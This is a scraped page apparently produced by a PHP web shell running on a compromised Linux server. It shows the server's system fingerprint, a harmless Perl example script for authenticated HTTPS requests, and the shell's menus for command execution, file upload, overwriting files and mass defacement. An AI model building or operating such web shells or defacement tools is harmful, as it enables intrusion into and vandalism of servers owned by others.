ShellBanner
System:Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686
Software:Apache. PHP/5.3.6-13ubuntu3.10
ID:uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
Safe Mode:OFF
Open_Basedir:OFF
Freespace:23.75 GB of 70.42 GB (33.73%)
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,

/ usr/ share/ doc/ libnet-ssleay-perl/ examples/ - drwxr-xr-x

Directory:
Viewing file:     get_authenticated_page.pl (730 B)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# 8.6.1998, Sampo Kellomaki <sampo@iki.fi>
# Get a page via HTTP and print some info about it.
# Demonstrates how to generate password header

use Net::SSLeay  qw(get_https make_headers);
use MIME::Base64;

($user, $pass, $site, $port, $path) = @ARGV;
die "Usage: ./get_authenticated_page.pl user pass www.bacus.com 443 /\n"
    unless $path;

($page, $result, %headers) =
    get_https($site, $port, $path,
          make_headers('Authorization' =>
               'Basic ' . MIME::Base64::encode("$user:$pass"))
          );

print "Result was `$result'\n";
foreach $h (sort keys %headers) {
    print "Header `$h'\tvalue `$headers{$h}'\n";
}

print "=================== Page follows =================\n";
print $page;

__END__
Command:
Quick Commands:
Upload:
[Read-Only] Max size: 100MB
PHP Filesystem: <@ Ú
Search File:
regexp
Create File:
Overwrite [Read-Only]
View File:
Mass Defacement:
[+] Main Directory: [+] Defacement Url:
LmfaoX Shell - Private Build [BETA] - v0.1 -; Generated: 0.2296 seconds